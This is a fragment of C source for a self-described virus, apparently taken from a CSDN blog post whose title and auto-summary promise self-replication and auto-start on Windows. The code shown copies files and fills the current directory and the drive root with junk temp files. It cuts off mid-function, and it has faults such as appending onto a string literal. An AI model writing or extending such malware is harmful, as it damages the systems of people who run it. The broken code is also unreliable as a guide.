#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
This function named Rubbishmaker.
*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++)
{
char
C病毒读写,自我启动复制
最新推荐文章于 2023-04-30 14:29:49 发布
这篇博客详细探讨了如何使用C语言编写病毒代码,实现文件的读写操作,让病毒能够自我复制,并在Windows环境下自动启动。通过讲解关键的路径处理、文件指针、结构体和函数的应用,揭示了病毒自我传播的机制。
摘要由CSDN通过智能技术生成